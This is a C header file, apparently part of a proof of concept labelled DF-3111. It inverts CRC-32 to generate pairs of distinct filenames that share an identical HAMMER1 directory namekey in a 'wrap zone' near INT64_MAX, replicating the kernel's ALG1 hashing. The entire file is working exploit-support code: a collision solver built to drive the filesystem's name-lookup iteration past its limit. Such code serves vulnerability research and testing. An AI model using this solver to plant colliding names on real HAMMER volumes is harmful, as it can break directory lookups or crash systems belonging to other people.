DF-3111 / solver.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 | /* * DF-3111 — shared solver: find two distinct filenames with the IDENTICAL * HAMMER1 ALG1 namekey in the wrap zone. * * Name shape: "aa" + 3 alphabet bytes + 'q' + '.' + seg2 * seg1 = "aa"+XYZ+"q" (6 bytes), seg2 = 4 solver bytes. * seg2 is solved by inverting the STANDALONE 4-byte CRC-32 (a bijection, * self-checked) so that crc32(seg1) + crc32(seg2) == 0x7fffffff or * 0xffffffff (mod 2^32) => crcx & 0x7fffffff == 0x7fffffff. * The 3 alphabet bytes randomize the whole-name crc; names whose * (crc ^ crc<<16) & 0xffff0000 lands in [0xff010000, 0xffff0000] get a * namekey > INT64_MAX - max_iterations (wrap zone). Two distinct names * with the same whole-name crc share the same key => colliding pair. */ #ifndef DF3111_SOLVER_H #define DF3111_SOLVER_H #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> static uint32_t df_crc_table[256]; static void df_crc_init(void) { for (uint32_t n = 0; n < 256; n++) { uint32_t c = n; for (int k = 0; k < 8; k++) c = (c & 1) ? 0xedb88320U ^ (c >> 1) : c >> 1; df_crc_table[n] = c; } } static uint32_t df_crc32(const unsigned char *buf, size_t len) { uint32_t c = 0xffffffffU; for (size_t i = 0; i < len; i++) c = df_crc_table[(c ^ buf[i]) & 0xff] ^ (c >> 8); return c ^ 0xffffffffU; } static uint32_t df_inv_rows[32]; /* invert m -> crc32(4-byte m) (standalone; bijection) */ static void df_build_inverse(void) { uint32_t img[32], pre[32]; for (int i = 0; i < 32; i++) { unsigned char m[4]; memset(m, 0, 4); m[i / 8] = (unsigned char)(1u << (i % 8)); img[i] = df_crc32(m, 4) ^ df_crc32((const unsigned char *)"\0\0\0\0", 4); pre[i] = 1u << i; } for (int col = 0; col < 32; col++) { int piv = -1; for (int r = col; r < 32; r++) if (img[r] & (1u << col)) { piv = r; break; } if (piv < 0) { fprintf(stderr, "crc32 not invertible\n"); exit(1); } uint32_t t; t = img[col]; img[col] = img[piv]; img[piv] = t; t = pre[col]; pre[col] = pre[piv]; pre[piv] = t; for (int r = 0; r < 32; r++) if (r != col && (img[r] & (1u << col))) { img[r] ^= img[col]; pre[r] ^= pre[col]; } } for (int col = 0; col < 32; col++) df_inv_rows[col] = pre[col]; } static void df_crc32_inverse4(uint32_t want, unsigned char out[4]) { uint32_t c0 = df_crc32((const unsigned char *)"\0\0\0\0", 4); uint32_t lin = want ^ c0, m = 0; for (int col = 0; col < 32; col++) if (lin & (1u << col)) m ^= df_inv_rows[col]; out[0] = m & 0xff; out[1] = (m >> 8) & 0xff; out[2] = (m >> 16) & 0xff; out[3] = (m >> 24) & 0xff; } /* exact replica of hammer_direntry_namekey() ALG1 (hammer_subs.c:963) */ static int64_t df_alg1_key(const char *aname, int len) { uint32_t crcx = 0; int i, j; int64_t key = 0; for (i = j = 0; i < len; ++i) { if (aname[i] == '.' || aname[i] == '-' || aname[i] == '_' || aname[i] == '~') { if (i != j) crcx += df_crc32((const unsigned char *)aname + j, i - j); j = i + 1; } } if (i != j) crcx += df_crc32((const unsigned char *)aname + j, i - j); crcx &= 0x7fffffffU; key |= (uint64_t)crcx << 32; crcx = df_crc32((const unsigned char *)aname, len); crcx = crcx ^ (crcx << 16); key |= (int64_t)(crcx & 0xffff0000U); if ((key & 0xffffffff00000000LL) == 0) key |= 0x100000000LL; return key; } static const char *df_alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; #define DF_PAIR_MAX 4096 static char df_names[DF_PAIR_MAX][16]; static int df_nlen[DF_PAIR_MAX]; static int64_t df_keys[DF_PAIR_MAX]; static int df_n; /* returns 0 and fills the FIRST identical-key pair found (deterministic) */ static int df_find_pair(char *outA, int *outlenA, char *outB, int *outlenB, int64_t *outKey) { df_crc_init(); df_build_inverse(); { unsigned char o[4]; df_crc32_inverse4(0xdeadbeefU, o); if (df_crc32(o, 4) != 0xdeadbeefU) { fprintf(stderr, "solver self-check FAILED\n"); return -1; } } df_n = 0; for (int a = 0; a < 62 && df_n < DF_PAIR_MAX; a++) { for (int b = 0; b < 62 && df_n < DF_PAIR_MAX; b++) { for (int c = 0; c < 62 && df_n < DF_PAIR_MAX; c++) { unsigned char seg1[7]; uint32_t c1; seg1[0] = 'a'; seg1[1] = 'a'; seg1[2] = (unsigned char)df_alphabet[a]; seg1[3] = (unsigned char)df_alphabet[b]; seg1[4] = (unsigned char)df_alphabet[c]; seg1[5] = 'q'; c1 = df_crc32(seg1, 6); for (int s = 0; s < 2; s++) { uint32_t target = (s ? 0xffffffffU : 0x7fffffffU) - c1; unsigned char o[4], name[16]; int n = 0, bad = 0; df_crc32_inverse4(target, o); name[n++] = seg1[0]; name[n++] = seg1[1]; name[n++] = seg1[2]; name[n++] = seg1[3]; name[n++] = seg1[4]; name[n++] = seg1[5]; name[n++] = '.'; name[n++] = o[0]; name[n++] = o[1]; name[n++] = o[2]; name[n++] = o[3]; for (int q = 0; q < n; q++) if (name[q] == '/' || name[q] == 0) bad = 1; for (int q = 0; q + 1 < n; q++) if (name[q] == '@' && name[q + 1] == '@') bad = 1; if (bad) continue; int64_t k = df_alg1_key((const char *)name, n); if ((uint64_t)k > 0x7fffffffff000000ULL && (uint32_t)(k & 0xffffffffU) != 0) { memcpy(df_names[df_n], name, n); df_names[df_n][n] = 0; df_nlen[df_n] = n; df_keys[df_n] = k; df_n++; if (df_n >= DF_PAIR_MAX) break; } } } } } for (int i = 0; i < df_n; i++) for (int j = i + 1; j < df_n; j++) if (df_keys[i] == df_keys[j]) { memcpy(outA, df_names[i], df_nlen[i] + 1); *outlenA = df_nlen[i]; memcpy(outB, df_names[j], df_nlen[j] + 1); *outlenB = df_nlen[j]; *outKey = df_keys[i]; return 0; } fprintf(stderr, "only %d wrap-zone names, no pair\n", df_n); return -1; } static void df_pr_name(const char *label, const char *n, int len, int64_t key) { printf("%s key=%016llx len=%d bytes=", label, (unsigned long long)(uint64_t)key, len); for (int i = 0; i < len; i++) printf("%02x", (unsigned char)n[i]); printf("\n"); } #endif /* DF3111_SOLVER_H */ |